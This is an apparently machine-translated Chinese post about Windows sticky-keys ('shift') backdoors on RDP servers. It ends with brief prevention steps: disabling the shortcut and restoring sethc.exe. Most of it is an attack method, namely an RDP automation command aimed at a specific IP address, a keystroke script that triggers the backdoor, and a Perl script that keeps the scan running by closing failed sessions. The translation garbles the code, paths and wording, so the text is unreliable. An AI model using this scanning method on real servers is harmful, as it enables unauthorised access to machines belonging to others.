评论：首先，3389的轮班很少有后门。其次，大多数转移的后门是加密的。所以一个接一个地尝试是很愚蠢的。如果它被写成自动扫描，它仍然可以忍受。




第一3389转移后门很少
其次，大部分的转变后门是加密的

所以用手试试是很愚蠢的。可以自动扫描。
需要使用的工具roboclient
smclient F：shift_backdoor.txt的125.91.15.254 L：1 - V - D

shift_backdoor.txt：

工作
{
连接（
睡眠（2000）；
发送数据（wm_keydown
发送数据（wm_keyup
发送数据（wm_keydown
发送数据（wm_keyup
发送数据（wm_keydown
发送数据（wm_keyup
发送数据（wm_keydown
发送数据（wm_keyup
发送数据（wm_keydown
发送数据（wm_keyup
睡眠（2000）；
断开连接（）；
}

一些shift后门被7改变，或赢得+ U shift_backdoor.txt到后门，改变功能可以添加

自动关闭错误连接

复制代码代码如下所示：
# / usr /斌/ Perl！
使用警告；
使用win32：gui；
采用恒wm_close = 16；
子监控{
我把手= Win32 GUI美元：：：：FindWindow（，中断远程桌面连接）；
Win32 GUI：：：：SendMessage（合处理，wm_close，0, 0）；
}
子monitor1是{
我把手= Win32 GUI美元：：：：FindWindow（'，'断开的Windows会话）；
Win32 GUI：：：：SendMessage（合处理，wm_close，0, 0）；
}
当（1）{
监控；
monitor1是；
睡眠（2）；
}



移位后门的解决方案
有一天在互联网上看到了移动后门，说是5下移动的关键服务器系统磁盘弹出，不要输入密码！当我看到它时，我用一种奇怪的想法试了一下。事实上，难怪我们的服务器总是有问题。检查后，解决方案现在出来了。希望对x类网络管理有用。
打开控制面板-辅助功能选项-粘性键-设置-删除快捷键的使用。

要copy.exe权威下的改变，但是在这里我们推荐所有的C程序都变了，只有管理员可以访问

移位后门预防解决方案：预防非常简单，甚至敲5次换挡，然后在弹出的设置内取消联动键。
中间已经是什么了
属性： Windows System32 sethc.exe的H
属性： Windows System32 dllcache sethc.exe的H
复制新的C： Windows System32 sethc.exe文件到C： Windows System32 目录；复制新的C： Windows System32 dllcache sethc.exe C： Windows System32 dllcache 目录。
称之为一天！